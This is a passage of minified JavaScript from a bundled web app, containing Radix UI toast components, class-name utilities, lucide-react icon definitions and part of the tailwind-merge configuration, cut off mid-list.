t.addEventListener("animationstart",c),t.addEventListener("animationcancel",f),t.addEventListener("animationend",f),()=>{d.clearTimeout(u),t.removeEventListener("animationstart",c),t.removeEventListener("animationcancel",f),t.removeEventListener("animationend",f)}}else a("ANIMATION_END")},[t,a]),{isPresent:["mounted","unmountSuspended"].includes(l),ref:w.useCallback(u=>{u&&(r.current=getComputedStyle(u)),n(u)},[])}}function Si(e){return(e==null?void 0:e.animationName)||"none"}function i0(e){var r,o;let t=(r=Object.getOwnPropertyDescriptor(e.props,"ref"))==null?void 0:r.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=(o=Object.getOwnPropertyDescriptor(e,"ref"))==null?void 0:o.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}function s0({prop:e,defaultProp:t,onChange:n=()=>{}}){const[r,o]=l0({defaultProp:t,onChange:n}),i=e!==void 0,s=i?e:r,l=Ot(n),a=w.useCallback(u=>{if(i){const f=typeof u=="function"?u(e):u;f!==e&&l(f)}else o(u)},[i,e,o,l]);return[s,a]}function l0({defaultProp:e,onChange:t}){const n=w.useState(e),[r]=n,o=w.useRef(r),i=Ot(t);return w.useEffect(()=>{o.current!==r&&(i(r),o.current=r)},[r,o,i]),n}var a0="VisuallyHidden",Ls=w.forwardRef((e,t)=>E.jsx(Be.span,{...e,ref:t,style:{position:"absolute",border:0,width:1,height:1,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",wordWrap:"normal",...e.style}}));Ls.displayName=a0;var u0=Ls,Iu="ToastProvider",[zu,c0,d0]=Hy("Toast"),[bh,BS]=xh("Toast",[d0]),[f0,Ds]=bh(Iu),Th=e=>{const{__scopeToast:t,label:n="Notification",duration:r=5e3,swipeDirection:o="right",swipeThreshold:i=50,children:s}=e,[l,a]=w.useState(null),[u,d]=w.useState(0),f=w.useRef(!1),c=w.useRef(!1);return n.trim()||console.error(`Invalid prop \`label\` supplied to \`${Iu}\`. Expected non-empty \`string\`.`),E.jsx(zu.Provider,{scope:t,children:E.jsx(f0,{scope:t,label:n,duration:r,swipeDirection:o,swipeThreshold:i,toastCount:u,viewport:l,onViewportChange:a,onToastAdd:w.useCallback(()=>d(g=>g+1),[]),onToastRemove:w.useCallback(()=>d(g=>g-1),[]),isFocusedToastEscapeKeyDownRef:f,isClosePausedRef:c,children:s})})};Th.displayName=Iu;var Nh="ToastViewport",p0=["F8"],ba="toast.viewportPause",Ta="toast.viewportResume",Rh=w.forwardRef((e,t)=>{const{__scopeToast:n,hotkey:r=p0,label:o="Notifications ({hotkey})",...i}=e,s=Ds(Nh,n),l=c0(n),a=w.useRef(null),u=w.useRef(null),d=w.useRef(null),f=w.useRef(null),c=yt(t,f,s.onViewportChange),g=r.join("+").replace(/Key/g,"").replace(/Digit/g,""),y=s.toastCount>0;w.useEffect(()=>{const x=h=>{var m;r.length!==0&&r.every(S=>h[S]||h.code===S)&&((m=f.current)==null||m.focus())};return document.addEventListener("keydown",x),()=>document.removeEventListener("keydown",x)},[r]),w.useEffect(()=>{const x=a.current,h=f.current;if(y&&x&&h){const p=()=>{if(!s.isClosePausedRef.current){const P=new CustomEvent(ba);h.dispatchEvent(P),s.isClosePausedRef.current=!0}},m=()=>{if(s.isClosePausedRef.current){const P=new CustomEvent(Ta);h.dispatchEvent(P),s.isClosePausedRef.current=!1}},S=P=>{!x.contains(P.relatedTarget)&&m()},C=()=>{x.contains(document.activeElement)||m()};return x.addEventListener("focusin",p),x.addEventListener("focusout",S),x.addEventListener("pointermove",p),x.addEventListener("pointerleave",C),window.addEventListener("blur",p),window.addEventListener("focus",m),()=>{x.removeEventListener("focusin",p),x.removeEventListener("focusout",S),x.removeEventListener("pointermove",p),x.removeEventListener("pointerleave",C),window.removeEventListener("blur",p),window.removeEventListener("focus",m)}}},[y,s.isClosePausedRef]);const v=w.useCallback(({tabbingDirection:x})=>{const p=l().map(m=>{const S=m.ref.current,C=[S,...b0(S)];return x==="forwards"?C:C.reverse()});return(x==="forwards"?p.reverse():p).flat()},[l]);return w.useEffect(()=>{const x=f.current;if(x){const h=p=>{var C,P,b;const m=p.altKey||p.ctrlKey||p.metaKey;if(p.key==="Tab"&&!m){const N=document.activeElement,D=p.shiftKey;if(p.target===x&&D){(C=u.current)==null||C.focus();return}const I=v({tabbingDirection:D?"backwards":"forwards"}),W=I.findIndex(A=>A===N);Tl(I.slice(W+1))?p.preventDefault():D?(P=u.current)==null||P.focus():(b=d.current)==null||b.focus()}};return x.addEventListener("keydown",h),()=>x.removeEventListener("keydown",h)}},[l,v]),E.jsxs(t0,{ref:a,role:"region","aria-label":o.replace("{hotkey}",g),tabIndex:-1,style:{pointerEvents:y?void 0:"none"},children:[y&&E.jsx(Na,{ref:u,onFocusFromOutsideViewport:()=>{const x=v({tabbingDirection:"forwards"});Tl(x)}}),E.jsx(zu.Slot,{scope:n,children:E.jsx(Be.ol,{tabIndex:-1,...i,ref:c})}),y&&E.jsx(Na,{ref:d,onFocusFromOutsideViewport:()=>{const x=v({tabbingDirection:"backwards"});Tl(x)}})]})});Rh.displayName=Nh;var _h="ToastFocusProxy",Na=w.forwardRef((e,t)=>{const{__scopeToast:n,onFocusFromOutsideViewport:r,...o}=e,i=Ds(_h,n);return E.jsx(Ls,{"aria-hidden":!0,tabIndex:0,...o,ref:t,style:{position:"fixed"},onFocus:s=>{var u;const l=s.relatedTarget;!((u=i.viewport)!=null&&u.contains(l))&&r()}})});Na.displayName=_h;var Is="Toast",h0="toast.swipeStart",m0="toast.swipeMove",v0="toast.swipeCancel",g0="toast.swipeEnd",Oh=w.forwardRef((e,t)=>{const{forceMount:n,open:r,defaultOpen:o,onOpenChange:i,...s}=e,[l=!0,a]=s0({prop:r,defaultProp:o,onChange:i});return E.jsx(Du,{present:n||l,children:E.jsx(x0,{open:l,...s,ref:t,onClose:()=>a(!1),onPause:Ot(e.onPause),onResume:Ot(e.onResume),onSwipeStart:ve(e.onSwipeStart,u=>{u.currentTarget.setAttribute("data-swipe","start")}),onSwipeMove:ve(e.onSwipeMove,u=>{const{x:d,y:f}=u.detail.delta;u.currentTarget.setAttribute("data-swipe","move"),u.currentTarget.style.setProperty("--radix-toast-swipe-move-x",`${d}px`),u.currentTarget.style.setProperty("--radix-toast-swipe-move-y",`${f}px`)}),onSwipeCancel:ve(e.onSwipeCancel,u=>{u.currentTarget.setAttribute("data-swipe","cancel"),u.currentTarget.style.removeProperty("--radix-toast-swipe-move-x"),u.currentTarget.style.removeProperty("--radix-toast-swipe-move-y"),u.currentTarget.style.removeProperty("--radix-toast-swipe-end-x"),u.currentTarget.style.removeProperty("--radix-toast-swipe-end-y")}),onSwipeEnd:ve(e.onSwipeEnd,u=>{const{x:d,y:f}=u.detail.delta;u.currentTarget.setAttribute("data-swipe","end"),u.currentTarget.style.removeProperty("--radix-toast-swipe-move-x"),u.currentTarget.style.removeProperty("--radix-toast-swipe-move-y"),u.currentTarget.style.setProperty("--radix-toast-swipe-end-x",`${d}px`),u.currentTarget.style.setProperty("--radix-toast-swipe-end-y",`${f}px`),a(!1)})})})});Oh.displayName=Is;var[y0,w0]=bh(Is,{onClose(){}}),x0=w.forwardRef((e,t)=>{const{__scopeToast:n,type:r="foreground",duration:o,open:i,onClose:s,onEscapeKeyDown:l,onPause:a,onResume:u,onSwipeStart:d,onSwipeMove:f,onSwipeCancel:c,onSwipeEnd:g,...y}=e,v=Ds(Is,n),[x,h]=w.useState(null),p=yt(t,A=>h(A)),m=w.useRef(null),S=w.useRef(null),C=o||v.duration,P=w.useRef(0),b=w.useRef(C),N=w.useRef(0),{onToastAdd:D,onToastRemove:j}=v,$=Ot(()=>{var Q;(x==null?void 0:x.contains(document.activeElement))&&((Q=v.viewport)==null||Q.focus()),s()}),I=w.useCallback(A=>{!A||A===1/0||(window.clearTimeout(N.current),P.current=new Date().getTime(),N.current=window.setTimeout($,A))},[$]);w.useEffect(()=>{const A=v.viewport;if(A){const Q=()=>{I(b.current),u==null||u()},U=()=>{const K=new Date().getTime()-P.current;b.current=b.current-K,window.clearTimeout(N.current),a==null||a()};return A.addEventListener(ba,U),A.addEventListener(Ta,Q),()=>{A.removeEventListener(ba,U),A.removeEventListener(Ta,Q)}}},[v.viewport,C,a,u,I]),w.useEffect(()=>{i&&!v.isClosePausedRef.current&&I(C)},[i,C,v.isClosePausedRef,I]),w.useEffect(()=>(D(),()=>j()),[D,j]);const W=w.useMemo(()=>x?zh(x):null,[x]);return v.viewport?E.jsxs(E.Fragment,{children:[W&&E.jsx(S0,{__scopeToast:n,role:"status","aria-live":r==="foreground"?"assertive":"polite","aria-atomic":!0,children:W}),E.jsx(y0,{scope:n,onClose:$,children:qo.createPortal(E.jsx(zu.ItemSlot,{scope:n,children:E.jsx(e0,{asChild:!0,onEscapeKeyDown:ve(l,()=>{v.isFocusedToastEscapeKeyDownRef.current||$(),v.isFocusedToastEscapeKeyDownRef.current=!1}),children:E.jsx(Be.li,{role:"status","aria-live":"off","aria-atomic":!0,tabIndex:0,"data-state":i?"open":"closed","data-swipe-direction":v.swipeDirection,...y,ref:p,style:{userSelect:"none",touchAction:"none",...e.style},onKeyDown:ve(e.onKeyDown,A=>{A.key==="Escape"&&(l==null||l(A.nativeEvent),A.nativeEvent.defaultPrevented||(v.isFocusedToastEscapeKeyDownRef.current=!0,$()))}),onPointerDown:ve(e.onPointerDown,A=>{A.button===0&&(m.current={x:A.clientX,y:A.clientY})}),onPointerMove:ve(e.onPointerMove,A=>{if(!m.current)return;const Q=A.clientX-m.current.x,U=A.clientY-m.current.y,K=!!S.current,k=["left","right"].includes(v.swipeDirection),_=["left","up"].includes(v.swipeDirection)?Math.min:Math.max,z=k?_(0,Q):0,L=k?0:_(0,U),F=A.pointerType==="touch"?10:2,Y={x:z,y:L},le={originalEvent:A,delta:Y};K?(S.current=Y,Ei(m0,f,le,{discrete:!1})):vd(Y,v.swipeDirection,F)?(S.current=Y,Ei(h0,d,le,{discrete:!1}),A.target.setPointerCapture(A.pointerId)):(Math.abs(Q)>F||Math.abs(U)>F)&&(m.current=null)}),onPointerUp:ve(e.onPointerUp,A=>{const Q=S.current,U=A.target;if(U.hasPointerCapture(A.pointerId)&&U.releasePointerCapture(A.pointerId),S.current=null,m.current=null,Q){const K=A.currentTarget,k={originalEvent:A,delta:Q};vd(Q,v.swipeDirection,v.swipeThreshold)?Ei(g0,g,k,{discrete:!0}):Ei(v0,c,k,{discrete:!0}),K.addEventListener("click",_=>_.preventDefault(),{once:!0})}})})})}),v.viewport)})]}):null}),S0=e=>{const{__scopeToast:t,children:n,...r}=e,o=Ds(Is,t),[i,s]=w.useState(!1),[l,a]=w.useState(!1);return k0(()=>s(!0)),w.useEffect(()=>{const u=window.setTimeout(()=>a(!0),1e3);return()=>window.clearTimeout(u)},[]),l?null:E.jsx(Ph,{asChild:!0,children:E.jsx(Ls,{...r,children:i&&E.jsxs(E.Fragment,{children:[o.label," ",n]})})})},E0="ToastTitle",jh=w.forwardRef((e,t)=>{const{__scopeToast:n,...r}=e;return E.jsx(Be.div,{...r,ref:t})});jh.displayName=E0;var C0="ToastDescription",Ah=w.forwardRef((e,t)=>{const{__scopeToast:n,...r}=e;return E.jsx(Be.div,{...r,ref:t})});Ah.displayName=C0;var Mh="ToastAction",Lh=w.forwardRef((e,t)=>{const{altText:n,...r}=e;return n.trim()?E.jsx(Ih,{altText:n,asChild:!0,children:E.jsx(Fu,{...r,ref:t})}):(console.error(`Invalid prop \`altText\` supplied to \`${Mh}\`. Expected non-empty \`string\`.`),null)});Lh.displayName=Mh;var Dh="ToastClose",Fu=w.forwardRef((e,t)=>{const{__scopeToast:n,...r}=e,o=w0(Dh,n);return E.jsx(Ih,{asChild:!0,children:E.jsx(Be.button,{type:"button",...r,ref:t,onClick:ve(e.onClick,o.onClose)})})});Fu.displayName=Dh;var Ih=w.forwardRef((e,t)=>{const{__scopeToast:n,altText:r,...o}=e;return E.jsx(Be.div,{"data-radix-toast-announce-exclude":"","data-radix-toast-announce-alt":r||void 0,...o,ref:t})});function zh(e){const t=[];return Array.from(e.childNodes).forEach(r=>{if(r.nodeType===r.TEXT_NODE&&r.textContent&&t.push(r.textContent),P0(r)){const o=r.ariaHidden||r.hidden||r.style.display==="none",i=r.dataset.radixToastAnnounceExclude==="";if(!o)if(i){const s=r.dataset.radixToastAnnounceAlt;s&&t.push(s)}else t.push(...zh(r))}}),t}function Ei(e,t,n,{discrete:r}){const o=n.originalEvent.currentTarget,i=new CustomEvent(e,{bubbles:!0,cancelable:!0,detail:n});t&&o.addEventListener(e,t,{once:!0}),r?Sh(o,i):o.dispatchEvent(i)}var vd=(e,t,n=0)=>{const r=Math.abs(e.x),o=Math.abs(e.y),i=r>o;return t==="left"||t==="right"?i&&r>n:!i&&o>n};function k0(e=()=>{}){const t=Ot(e);Xn(()=>{let n=0,r=0;return n=window.requestAnimationFrame(()=>r=window.requestAnimationFrame(t)),()=>{window.cancelAnimationFrame(n),window.cancelAnimationFrame(r)}},[t])}function P0(e){return e.nodeType===e.ELEMENT_NODE}function b0(e){const t=[],n=document.createTreeWalker(e,NodeFilter.SHOW_ELEMENT,{acceptNode:r=>{const o=r.tagName==="INPUT"&&r.type==="hidden";return r.disabled||r.hidden||o?NodeFilter.FILTER_SKIP:r.tabIndex>=0?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;n.nextNode();)t.push(n.currentNode);return t}function Tl(e){const t=document.activeElement;return e.some(n=>n===t?!0:(n.focus(),document.activeElement!==t))}var T0=Th,Fh=Rh,$h=Oh,Uh=jh,Bh=Ah,Vh=Lh,Hh=Fu;function Wh(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(n=Wh(e[t]))&&(r&&(r+=" "),r+=n)}else for(n in e)e[n]&&(r&&(r+=" "),r+=n);return r}function Qh(){for(var e,t,n=0,r="",o=arguments.length;n<o;n++)(e=arguments[n])&&(t=Wh(e))&&(r&&(r+=" "),r+=t);return r}const gd=e=>typeof e=="boolean"?`${e}`:e===0?"0":e,yd=Qh,Kh=(e,t)=>n=>{var r;if((t==null?void 0:t.variants)==null)return yd(e,n==null?void 0:n.class,n==null?void 0:n.className);const{variants:o,defaultVariants:i}=t,s=Object.keys(o).map(u=>{const d=n==null?void 0:n[u],f=i==null?void 0:i[u];if(d===null)return null;const c=gd(d)||gd(f);return o[u][c]}),l=n&&Object.entries(n).reduce((u,d)=>{let[f,c]=d;return c===void 0||(u[f]=c),u},{}),a=t==null||(r=t.compoundVariants)===null||r===void 0?void 0:r.reduce((u,d)=>{let{class:f,className:c,...g}=d;return Object.entries(g).every(y=>{let[v,x]=y;return Array.isArray(x)?x.includes({...i,...l}[v]):{...i,...l}[v]===x})?[...u,f,c]:u},[]);return yd(e,s,a,n==null?void 0:n.class,n==null?void 0:n.className)};/** * @license lucide-react v0.462.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const N0=e=>e.replace(/([a-z0-9])([A-Z])/g,"$1-$2").toLowerCase(),Gh=(...e)=>e.filter((t,n,r)=>!!t&&t.trim()!==""&&r.indexOf(t)===n).join(" ").trim();/** * @license lucide-react v0.462.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */var R0={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"round"};/** * @license lucide-react v0.462.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const _0=w.forwardRef(({color:e="currentColor",size:t=24,strokeWidth:n=2,absoluteStrokeWidth:r,className:o="",children:i,iconNode:s,...l},a)=>w.createElement("svg",{ref:a,...R0,width:t,height:t,stroke:e,strokeWidth:r?Number(n)*24/Number(t):n,className:Gh("lucide",o),...l},[...s.map(([u,d])=>w.createElement(u,d)),...Array.isArray(i)?i:[i]]));/** * @license lucide-react v0.462.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const Yh=(e,t)=>{const n=w.forwardRef(({className:r,...o},i)=>w.createElement(_0,{ref:i,iconNode:t,className:Gh(`lucide-${N0(e)}`,r),...o}));return n.displayName=`${e}`,n};/** * @license lucide-react v0.462.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const O0=Yh("Menu",[["line",{x1:"4",x2:"20",y1:"12",y2:"12",key:"1e0a9i"}],["line",{x1:"4",x2:"20",y1:"6",y2:"6",key:"1owob3"}],["line",{x1:"4",x2:"20",y1:"18",y2:"18",key:"yk5zj1"}]]);/** * @license lucide-react v0.462.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const Xh=Yh("X",[["path",{d:"M18 6 6 18",key:"1bl5f8"}],["path",{d:"m6 6 12 12",key:"d8bk6v"}]]),$u="-",j0=e=>{const t=M0(e),{conflictingClassGroups:n,conflictingClassGroupModifiers:r}=e;return{getClassGroupId:s=>{const l=s.split($u);return l[0]===""&&l.length!==1&&l.shift(),qh(l,t)||A0(s)},getConflictingClassGroupIds:(s,l)=>{const a=n[s]||[];return l&&r[s]?[...a,...r[s]]:a}}},qh=(e,t)=>{var s;if(e.length===0)return t.classGroupId;const n=e[0],r=t.nextPart.get(n),o=r?qh(e.slice(1),r):void 0;if(o)return o;if(t.validators.length===0)return;const i=e.join($u);return(s=t.validators.find(({validator:l})=>l(i)))==null?void 0:s.classGroupId},wd=/^\[(.+)\]$/,A0=e=>{if(wd.test(e)){const t=wd.exec(e)[1],n=t==null?void 0:t.substring(0,t.indexOf(":"));if(n)return"arbitrary.."+n}},M0=e=>{const{theme:t,prefix:n}=e,r={nextPart:new Map,validators:[]};return D0(Object.entries(e.classGroups),n).forEach(([i,s])=>{Ra(s,r,i,t)}),r},Ra=(e,t,n,r)=>{e.forEach(o=>{if(typeof o=="string"){const i=o===""?t:xd(t,o);i.classGroupId=n;return}if(typeof o=="function"){if(L0(o)){Ra(o(r),t,n,r);return}t.validators.push({validator:o,classGroupId:n});return}Object.entries(o).forEach(([i,s])=>{Ra(s,xd(t,i),n,r)})})},xd=(e,t)=>{let n=e;return t.split($u).forEach(r=>{n.nextPart.has(r)||n.nextPart.set(r,{nextPart:new Map,validators:[]}),n=n.nextPart.get(r)}),n},L0=e=>e.isThemeGetter,D0=(e,t)=>t?e.map(([n,r])=>{const o=r.map(i=>typeof i=="string"?t+i:typeof i=="object"?Object.fromEntries(Object.entries(i).map(([s,l])=>[t+s,l])):i);return[n,o]}):e,I0=e=>{if(e<1)return{get:()=>{},set:()=>{}};let t=0,n=new Map,r=new Map;const o=(i,s)=>{n.set(i,s),t++,t>e&&(t=0,r=n,n=new Map)};return{get(i){let s=n.get(i);if(s!==void 0)return s;if((s=r.get(i))!==void 0)return o(i,s),s},set(i,s){n.has(i)?n.set(i,s):o(i,s)}}},Zh="!",z0=e=>{const{separator:t,experimentalParseClassName:n}=e,r=t.length===1,o=t[0],i=t.length,s=l=>{const a=[];let u=0,d=0,f;for(let x=0;x<l.length;x++){let h=l[x];if(u===0){if(h===o&&(r||l.slice(x,x+i)===t)){a.push(l.slice(d,x)),d=x+i;continue}if(h==="/"){f=x;continue}}h==="["?u++:h==="]"&&u--}const c=a.length===0?l:l.substring(d),g=c.startsWith(Zh),y=g?c.substring(1):c,v=f&&f>d?f-d:void 0;return{modifiers:a,hasImportantModifier:g,baseClassName:y,maybePostfixModifierPosition:v}};return n?l=>n({className:l,parseClassName:s}):s},F0=e=>{if(e.length<=1)return e;const t=[];let n=[];return e.forEach(r=>{r[0]==="["?(t.push(...n.sort(),r),n=[]):n.push(r)}),t.push(...n.sort()),t},$0=e=>({cache:I0(e.cacheSize),parseClassName:z0(e),...j0(e)}),U0=/\s+/,B0=(e,t)=>{const{parseClassName:n,getClassGroupId:r,getConflictingClassGroupIds:o}=t,i=[],s=e.trim().split(U0);let l="";for(let a=s.length-1;a>=0;a-=1){const u=s[a],{modifiers:d,hasImportantModifier:f,baseClassName:c,maybePostfixModifierPosition:g}=n(u);let y=!!g,v=r(y?c.substring(0,g):c);if(!v){if(!y){l=u+(l.length>0?" "+l:l);continue}if(v=r(c),!v){l=u+(l.length>0?" "+l:l);continue}y=!1}const x=F0(d).join(":"),h=f?x+Zh:x,p=h+v;if(i.includes(p))continue;i.push(p);const m=o(v,y);for(let S=0;S<m.length;++S){const C=m[S];i.push(h+C)}l=u+(l.length>0?" "+l:l)}return l};function V0(){let e=0,t,n,r="";for(;e<arguments.length;)(t=arguments[e++])&&(n=Jh(t))&&(r&&(r+=" "),r+=n);return r}const Jh=e=>{if(typeof e=="string")return e;let t,n="";for(let r=0;r<e.length;r++)e[r]&&(t=Jh(e[r]))&&(n&&(n+=" "),n+=t);return n};function H0(e,...t){let n,r,o,i=s;function s(a){const u=t.reduce((d,f)=>f(d),e());return n=$0(u),r=n.cache.get,o=n.cache.set,i=l,l(a)}function l(a){const u=r(a);if(u)return u;const d=B0(a,n);return o(a,d),d}return function(){return i(V0.apply(null,arguments))}}const re=e=>{const t=n=>n[e]||[];return t.isThemeGetter=!0,t},em=/^\[(?:([a-z-]+):)?(.+)\]$/i,W0=/^\d+\/\d+$/,Q0=new Set(["px","full","screen"]),K0=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,G0=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,Y0=/^(rgba?|hsla?|hwb|(ok)?(lab|lch))\(.+\)$/,X0=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,q0=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/,Mt=e=>Cr(e)||Q0.has(e)||W0.test(e),en=e=>Kr(e,"length",iw),Cr=e=>!!e&&!Number.isNaN(Number(e)),Nl=e=>Kr(e,"number",Cr),io=e=>!!e&&Number.isInteger(Number(e)),Z0=e=>e.endsWith("%")&&Cr(e.slice(0,-1)),V=e=>em.test(e),tn=e=>K0.test(e),J0=new Set(["length","size","percentage"]),ew=e=>Kr(e,J0,tm),tw=e=>Kr(e,"position",tm),nw=new Set(["image","url"]),rw=e=>Kr(e,nw,lw),ow=e=>Kr(e,"",sw),so=()=>!0,Kr=(e,t,n)=>{const r=em.exec(e);return r?r[1]?typeof t=="string"?r[1]===t:t.has(r[1]):n(r[2]):!1},iw=e=>G0.test(e)&&!Y0.test(e),tm=()=>!1,sw=e=>X0.test(e),lw=e=>q0.test(e),aw=()=>{const e=re("colors"),t=re("spacing"),n=re("blur"),r=re("brightness"),o=re("borderColor"),i=re("borderRadius"),s=re("borderSpacing"),l=re("borderWidth"),a=re("contrast"),u=re("grayscale"),d=re("hueRotate"),f=re("invert"),c=re("gap"),g=re("gradientColorStops"),y=re("gradientColorStopPositions"),v=re("inset"),x=re("margin"),h=re("opacity"),p=re("padding"),m=re("saturate"),S=re("scale"),C=re("sepia"),P=re("skew"),b=re("space"),N=re("translate"),D=()=>["auto","contain","none"],j=()=>["auto","hidden","clip","visible","scroll"],$=()=>["auto",V,t],I=()=>[V,t],W=()=>["",Mt,en],A=()=>["auto",Cr,V],Q=()=>["bottom","center","left","left-bottom","left-top","right","right-bottom","right-top","top"],U=()=>["solid","dashed","dotted","double","none"],K=()=>["normal","multiply","screen","overlay","darken","lighten","color-dodge","color-burn","hard-light","soft-light","difference","exclusion","hue","saturation","color","luminosity"],k=()=>["start","end","center","between","around","evenly","stretch"],_=()=>["","0",V],z=()=>["auto","avoid","all","avoid-page","page","left","right","column"],L=()=>[Cr,V];return{cacheSize:500,separator:":",theme:{colors:[so],spacing:[Mt,en],blur:["none","",tn,V],brightness:L(),borderColor:[e],borderRadius:["none","","full",tn,V],borderSpacing:I(),borderWidth:W(),contrast:L(),grayscale:_(),hueRotate:L(),invert:_(),gap:I(),gradientColorStops:[e],gradientColorStopPositions:[Z0,en],inset:$(),margin:$(),opacity:L(),padding:I(),saturate:L(),scale:L(),sepia:_(),skew:L(),space:I(),translate:I()},classGroups:{aspect:[{aspect:["auto","square","video",V]}],container:["container"],columns:[{columns:[tn]}],"break-after":[{"break-after":z()}],"break-before":[{"break-before":z()}],"break-inside":[{"break-inside":["auto","avoid","avoid-page","avoid-column"]}],"box-decoration":[{"box-decoration":["slice","clone"]}],box:[{box:["border","content"]}],display:["block","inline-block","inline","flex","inline-flex","table","inline-table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row-group","table-row","flow-root","grid","inline-grid","contents","list-item","hidden"],float:[{float:["right","left","none","start","end"]}],clear:[{clear:["left","right","both","none","start","end"]}],isolation:["isolate","isolation-auto"],"object-fit":[{object:["contain","cover","fill","none","scale-down"]}],"object-position":[{object:[...Q(),V]}],overflow:[{overflow:j()}],"overflow-x":[{"overflow-x":j()}],"overflow-y":[{"overflow-y":j()}],overscroll:[{overscroll:D()}],"overscroll-x":[{"overscroll-x":D()}],"overscroll-y":[{"overscroll-y":D()}],position:["static","fixed","absolute","relative","sticky"],inset:[{inset:[v]}],"inset-x":[{"inset-x":[v]}],"inset-y":[{"inset-y":[v]}],start:[{start:[v]}],end:[{end:[v]}],top:[{top:[v]}],right:[{right:[v]}],bottom:[{bottom:[v]}],left:[{left:[v]}],visibility:["visible","invisible","collapse"],z:[{z:["auto",io,V]}],basis:[{basis:$()}],"flex-direction":[{flex:["row","row-reverse","col","col-reverse"]}],"flex-wrap":[{flex:["wrap","wrap-reverse","nowrap"]}],flex:[{flex:["1","auto","initial","none",V]}],grow:[{grow:_()}],shrink:[{shrink:_()}],order:[{order:["first","last","none",io,V]}],"grid-cols":[{"grid-cols":[so]}],"col-start-end":[{col:["auto",{span:["full",io,V]},V]}],"col-start":[{"col-start":A()}],"col-end":[{"col-end":A()}],"grid-rows":[{"grid-rows":[so]}],"row-start-end":[{row:["auto",{span:[io,V]},V]}],"row-start":[{"row-start":A()}],"row-end":[{"row-end":A()}],"grid-flow":[{"grid-flow":["row","col","dense","row-dense","col-dense"]}],"auto-cols":[{"auto-cols":["auto","min","max","fr",V]}],"auto-rows":[{"auto-rows":["auto","min","max","fr",V]}],gap:[{gap:[c]}],"gap-x":[{"gap-x":[c]}],"gap-y":[{"gap-y":[c]}],"justify-content":[{justify:["normal",...k()]}],"justify-items":[{"justify-items":["start","end","center","stretch"]}],"justify-self":[{"justify-self":["auto","start","end","center","stretch"]}],"align-content":[{content:["normal",...k(),"baseline"]}],"align-items":[{items:["start","end","center","baseline","stretch"]}],"align-self":[{self:["auto","start","end","center","stretch","baseline"]}],"place-content":[{"place-content":[...k(),"baseline"]}],"place-items":[{"place-items":["start","end","center","baseline","stretch"]}],"place-self":[{"place-self":["auto","start","end","center","stretch"]}],p:[{p:[p]}],px:[{px:[p]}],py:[{py:[p]}],ps:[{ps:[p]}],pe:[{pe:[p]}],pt:[{pt:[p]}],pr:[{pr:[p]}],pb:[{pb:[p]}],pl:[{pl:[p]}],m:[{m:[x]}],mx:[{mx:[x]}],my:[{my:[x]}],ms:[{ms:[x]}],me:[{me:[x]}],mt:[{mt:[x]}],mr:[{mr:[x]}],mb:[{mb:[x]}],ml:[{ml:[x]}],"space-x":[{"space-x":[b]}],"space-x-reverse":["space-x-reverse"],"space-y":[{"space-y":[b]}],"space-y-reverse":["space-y-reverse"],w:[{w:["auto","min","max","fit","svw","lvw","dvw",V,t]}],"min-w":[{"min-w":[V,t,"min","max","fit"]}],"max-w":[{"max-w":[V,t,"none","full","min","max","fit","prose",{screen:[tn]},tn]}],h:[{h:[V,t,"auto","min","max","fit","svh","lvh","dvh"]}],"min-h":[{"min-h":[V,t,"min","max","fit","svh","lvh","dvh"]}],"max-h":[{"max-h":[V,t,"min","max","fit","svh","lvh","dvh"]}],size:[{size:[V,t,"auto","min","max","fit"]}],"font-size":[{text:["base",tn,en]}],"font-smoothing":["antialiased","subpixel-antialiased"],"font-style":["italic","not-italic"],"font-weight":[{font:["thin","extralight","light","normal","medium","semibold","bold","extrabold","black",Nl]}],"font-family":[{font:[so]}],"fvn-normal":["normal-nums"],"fvn-ordinal":["ordinal"],"fvn-slashed-zero":["slashed-zero"],"fvn-figure":["lining-nums","oldstyle-nums"],"fvn-spacing":["proportional-nums","tabular-nums"],"fvn-fraction":["diagonal-fractions","stacked-fractons"],tracking:[{tracking:["tighter","tight","normal","wide","wider","widest",V]}],"line-clamp":[{"line-clamp":["none",Cr,Nl]}],leading:[{leading:["none","tight","snug","normal","relaxed","loose",Mt,V]}],"list-image":[{"list-image":["none",V]}],"list-style-type":[{list:["none","disc","decimal",V]}],"list-style-position":[{list:["inside","outside"]}],"placeholder-color":[{placeholder:[e]}],"placeholder-opacity":[{"placeholder-opacity":[h]}],"text-alignment":[{text:["left","center","right","justify","start","end"]}],"text-color":[{text:[e]}],"text-opacity":[{"text-opacity":[h]}],"text-decoration":["underline","overline","line-through","no-underline"],"text-decoration-style":[{decoration:[...U(),"wavy"]}],"text-decoration-thickness":[{decoration:["auto","from-font",Mt,en]}],"underline-offset":[{"underline-offset":["auto",Mt,V]}],"text-decoration-color":[{decoration:[e]}],"text-transform":["uppercase","lowercase","capitalize","normal-case"],"text-overflow":["truncate","text-ellipsis","text-clip"],"text-wrap":[{text:["wrap","nowrap","balance","pretty"]}],indent:[{indent:I()}],"vertical-align":[{align:["baseline","top","middle","bottom","text-top","text-bottom","